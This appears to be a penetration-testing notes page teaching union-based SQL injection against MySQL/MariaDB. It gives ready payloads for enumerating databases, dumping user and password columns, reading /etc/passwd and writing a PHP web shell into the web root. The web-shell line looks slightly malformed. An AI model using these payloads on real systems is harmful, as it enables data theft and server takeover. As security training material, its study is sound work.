💥Cyb3rBook

UNION BASE SQLI

8 min read

PRIMARY CATEGORY → IN-BAND SQLI

Theory

It basically involves running another SQL query along with the original one by adding an UNION clause at the end of the latter

That said, an operator could leverage the following SQL query to run another one if the user input is not properly sanitized

  • Backend Query
SELECT * FROM users WHERE username='<USER_INPUT>' AND password='<USER_INPUT>'
  • Payload
admin' UNION SELECT 1, @@database -- -

Identifying the number of columns

A UNION clause can only operate on SELECT statements with the same number of columns

For instance, if we try to run the query below, it will generate an error as the number of columns for both queries differs

SELECT col1 FROM table_a UNION SELECT col1, col2 FROM table_b

Therefore, regarding to an UNION based SQLi, it is mandatory that we know the exact number of columns that the original query returns, so we can specifiy the same number and avoid any SQL error

Furthermore, we must ensure that the provided data type matches the column data type, otherwise the query will return an error

For the sake of simplicity, it it recommended to use numbers

ORDER BY

So, we can use the ORDER BY function to discover how many columns the original query returns. That is, we have to inject a query that sorts the result by a column we specified until we get an error saying that the column specified does not exist

To do so, we can start with ORDER BY 1 to sort by the first column, then we continue with ORDER BY 2 and so until we reach a number that returns an error

The number of columns will be the one we used before the number that gives the error

test' ORDER BY 1 -- # BY 2 and so on until we get an error
UNION

The other method would be using the UNION clause directly with a different number of columns until we successfully get the results back

To do so, proceed as follows

test' UNION SELECT 1, 2, 3, 4 -- -

Locating the Injection Point

It may ocurrs that not all returned columns are displayed by the web application, therefore we have to look for the columns whose data appears in the HTTP response

In fact, it is very common for this to happen. But since we are using numbers, it becomes easier to track the printed data, so we know at which columns place our query

For instance, the query below returns a set of data related to a certain product

SELECT * FROM products WHERE product_id = "<USER_INPUT>"

Thus, we send the following payload to check which numbers are displayed on the HTTP Response

99' UNION SELECT 1, 2, 3, 4 FROM users -- -

Once we know the injection column, we can being with the data extraction as follows

99' UNION SELECT 1, @@version, 3, 4 FROM users -- -

Enumeration

MySQL Fingerprint

Once we have identified a vulnerable endpoint to SQL Injection within the web application we are assessing, the next step is to figure out whether the given Database Management System (DBMS) acting as the backend server is MySQL or MariaDB

In this case, we are dealing with a UNION-based SQL injection, so we will see the query output in the HTTP response

To do so, we can send the following payload

<STRING>' UNION SELECT 1, @@version, 3, 4 -- -
Database Enumeration

Once we know that the DBMS we are dealing with is one of the two mentioned, we can leverage the Information_schema database in order to list the required information to perform any SQL query, namely →

  • Databases

  • Tables within each database

  • Columns within each table

Databases
<STRING>' UNION SELECT 1, schema_name, 3, 4 FROM information_schema.schemata -- -
Tables
<STRING>' UNION SELECT 1, table_name, table_schema, 4 FROM information_schema.tables WHERE table_schema = '<DB_NAME>' -- -
Columns
<STRING>' UNION SELECT 1, column_name, table_name, 4 FROM information_schema.columns WHERE table_name = '<TABLE_NAME>' and table_schema = '<SCHEMA_NAME>'
Retrieving Data

Since we know the name of the given table, its columns and the database where it is located, we can build the final query which will retrieve all the data

e.g.

<STRING>' UNION SELECT 1, user, password, 4 FROM dev_database.users -- -

Reading Files

Theory

There are situation where we do not find any relevant or sensitive information by enumerating all the data stored within the existing databases on the DBMS

In this case, we could try to read or write files to the target system

To do both, the user running the database must have the FILE privilege at global level. This privilege allows a user to read and write files in the database server

In addition to have this privilege set, the database user must have sufficient permissions to read and write system files

The secure_file_priv parameter restricts the reading and writing of files. It can be set to three different values

  • If set, it only allows file operations within the specified directory

  • If empty, allows operations in any directory to which the system user has access

  • If is set to NULL, no operations are allowed

Enumeration
Identifying the current DB User

First of all, it is necessary to find out our current database user. To do so, we can run the following queries

<STRING>' UNION SELECT 1, USER(), 3, 4 -- -
<STRING>' UNION SELECT 1, CURRENT_USER(), 3, 4 -- -
<STRING>' UNION SELECT 1, user , 3, 4 FROM mysql.user -- -
Listing the privileges of the DB User

Once we know the user, we can start by looking for the privileges it has

First, we can test if the current user have super admin privileges as follows

<STRING>' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user = "<DB_USER>" -- -

We can use the information_schema database as well to list the rest of the privileges the user has

<STRING>' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee = "'<USER>'@'<HOST'" -- -
Abusing

So, if the current database user has the FILE privilege set, we can use the LOAD_FILE() function in order to read local system files. This function only takes one argument, namely the absolute path of the file in question

As stated, we will only be able to read the provided file if the OS user running MySQL/MariaDB has enough privileges to read it

<STRING>' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4 -- -

Writing Files

Theory

In the same way as reading files, to be able to write files to the system, the following requirements must be met

  • User with FILE privileges enabled

  • MySQL secure_file_priv variable not enabled

  • Write access to the location we want to write the given file

As mentioned, the secure_file_priv parameter can have three possible values. If empty, any database user with FILE privilege enabled can write files to any system location. If set to a specific directory, the database user can only write files to the latter. Lastly, if the parameter is set to NULL, no database user can write files

In the reading files section we have seen how to list all privileges of the current database user

Enumeration

So, it’s time to check whether the global secure_file_priv parameter is set or not.

To do this, we can run the following query using the sql CLI client

SHOW ALL global variables like 'secure_file_priv'

However, this command cannot be executed from a SQL Injection as the command-line SQL client is being used

To do this from the web application flaw, we have to leverage the information_schema database in order to check the value of the given global parameter, as we are constrained to use a SELECT statement from the SQL Injection context

There is a table in this database called global_variables, which has two columns

  • variable_name
  • variable_value

Therefore, we can run the following UNION query to get the value of the parameter in question

<STRING>' UNION SELECT variable_name, variable_value FROM information_schema.global_variables WHERE variable_name = "secure_file_priv" -- -
Abusing

If the secure_file_priv parameter is empty or disabled and the current database user has the FILE privilege, we can use the SELECT .. INTO OUTFILE statement in order to write files to any location where the system user running the MySQL/MariaDB process has permissions

Thus, we can first use the LOAD_FILE function to read the content of the web server configuration file and therefore find out where the document root is located

Once we know the absolute path of the document root, we can leverage the SELECT .. INTO OUTFILE statement to write a Web Shell to the latter

To do so, proceed as follows

Document root → /var/www/html

<STRING>' UNION SELECT "", '<?php system($_GET[0])'; ?>', "", "" INTO OUTFILE '/var/www/html/x.php' -- -

Graph View

Backlinks